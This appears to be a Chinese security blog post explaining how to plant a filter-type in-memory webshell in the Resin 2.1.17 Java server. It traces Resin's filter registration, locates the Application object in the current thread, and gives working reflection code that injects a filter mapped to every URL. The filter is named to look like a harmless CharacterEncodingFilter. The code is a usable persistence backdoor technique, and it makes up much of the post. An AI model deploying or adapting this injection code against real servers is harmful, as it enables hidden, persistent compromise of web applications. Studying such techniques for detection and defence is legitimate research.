Java安全之Resin2内存马

环境

resin2.1.17

添加Filter分析

依然是web.xml注册一个filter，debug进去看注册流程

debug dofilter逻辑时看到如下代码，最终走入this._filterChain = this._application.buildFilterChain(this, this._config);去build filterchain。并且貌似是初始化的时候才会去buildfilterchain，当后面第二次再走时，这里的_filterchain已经是有值的了。

this._application应为上下文对象，继续往下跟通过QFilterConfig#createFilter来创建了一个Filter，之后new 了一个FilterChain

注意下面三个对象，添加上即可

_filterMap

首先看FilterMap构造，主要是Regexp，QFilterConfig后面再说

可以反射实例化之后调用方法或者set属性来设置值

class FilterMap {

    static L10N L;

    private String servletName;

    private Regexp regexp;

    private Object data;

    FilterMap() {

    }

    void setServletName(String servletName) {

        this.servletName = servletName;

    }

    void setRegexp(String regexpPattern, String flags) throws Exception {

        this.regexp = new Regexp(regexpPattern, flags);

    }

    void setURLPattern(String urlPattern, String flags) throws ServletException {

        this.regexp = this.urlPatternToRegexp(urlPattern, flags);

    }

下面看Regexp ,其实就是一个正则来控制的路由处理

^.*$

^(?=/)|^$

调用有参构造即可

_filters

hashtable对象，key为filtername，value为QFilterConfig对象，key可以随便伪造成个正常的

_filterList

直接add一个QFilterConfig元素即可

看到QConfigFilter，Registry为空就走if的逻辑，传入构造好的属性即可

package com.caucho.server.http;

import com.caucho.util.BeanUtil;

import com.caucho.util.CauchoSystem;

import com.caucho.util.L10N;

import com.caucho.util.RegistryNode;

import java.util.Collections;

import java.util.Enumeration;

import java.util.HashMap;

import java.util.Iterator;

import javax.servlet.Filter;

import javax.servlet.FilterConfig;

import javax.servlet.ServletContext;

import javax.servlet.ServletException;

class QFilterConfig implements FilterConfig {

    static L10N L;

    private static HashMap _configElements;

    private Application _application;

    private RegistryNode _registry;

    private RegistryNode _initRegistry;

    private String _name;

    private String _className;

    private HashMap _init;

    private Filter _filter;

    QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {

        this._application = application;

        this._registry = registry;

        this._name = name;

        this._init = new HashMap();

        if (registry == null) {

            if (defaultClassName == null) {

                this._className = name;

            } else {

                this._className = defaultClassName;

            }

        } else {

            this._className = registry.getString("filter-class", defaultClassName);

            Iterator iter = registry.iterator();

            while(iter.hasNext()) {

                RegistryNode node = (RegistryNode)iter.next();

                if (node.getName().equals("init-param")) {

                    try {

                        application.fillParam(node, this._init);

                    } catch (ServletException var8) {

                        throw var8;

                    } catch (Exception var9) {

                        throw new ServletException(var9);

                    }

                } else if (node.getName().equals("init")) {

                    this._initRegistry = node;

                } else if (_configElements.get(node.getName()) == null) {

                    throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));

                }

            }

        }

    }

后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。

//设置搜索类型包含ServletRequest，RequstGroup，Request...等关键字的对象

List<Keyword> keys = new ArrayList();

keys.add(new Keyword.Builder().setField_type("Request").build());

keys.add(new Keyword.Builder().setField_type("Application").build());

//新建一个广度优先搜索Thread.currentThread()的搜索器

SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);

//打开调试模式

searcher.setIs_debug(true);

//挖掘深度为20

searcher.setMax_search_depth(20);

//设置报告保存位置

searcher.setReport_save_path("/tmp/");

searcher.searchObject();

result

# Request

TargetObject = {java.lang.Thread}

  ---> target = {com.caucho.server.TcpConnection}

   ---> request = {com.caucho.server.http.HttpRequest}

# Application

TargetObject = {java.lang.Thread}

  ---> contextClassLoader = {com.caucho.java.CompilingClassLoader}

       ---> attributes = {java.util.Hashtable}

         ---> attributes = {com.caucho.server.http.Application}

后面直接添加即可

主要代码

    private static void doInject(){

        filterName = "CharacterEncodingFilter-" + System.nanoTime();

        try {

            if (APPLICATION !=null){

                // Regexp

//                Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");

//                Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);

//                Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");

                // QFilterConfig

                Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");

                Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));

                QFilterConfigConstructor.setAccessible(true);

                Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);

                // FilterMap

                Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");

                Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();

                filterMapConstructor.setAccessible(true);

                Object filterMap = filterMapConstructor.newInstance();

                // set FilterMap regexp

                Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);

                setRegexpMethod.setAccessible(true);

                setRegexpMethod.invoke(filterMap,"/*", null);

                // set FilterMap data

                Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);

                setDataMethod.setAccessible(true);

                setDataMethod.invoke(filterMap,QFilterConfigObj);

                // add FilterMap 2 _filterMap

                ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");

                _filterMap.add(filterMap);

                // add QFilterConfig 2 _filterList

                ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");

                _filterList.add(QFilterConfigObj);

                // put QFilterConfig 2 _filters

                Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");

                _filters.put(filterName, QFilterConfigObj);

            }

        } catch (Exception e) {

        }

    }

    private static void getApplication(){

        Thread thread = Thread.currentThread();

        ClassLoader contextClassLoader = thread.getContextClassLoader();

        Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");

        APPLICATION = attributesObj1.get("caucho.application");

    }

但是有个弊端，debug逻辑的时候发现，只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。

最后

项目遇到的感觉比较有趣且极端的问题，虽然也不是很好的解决方案。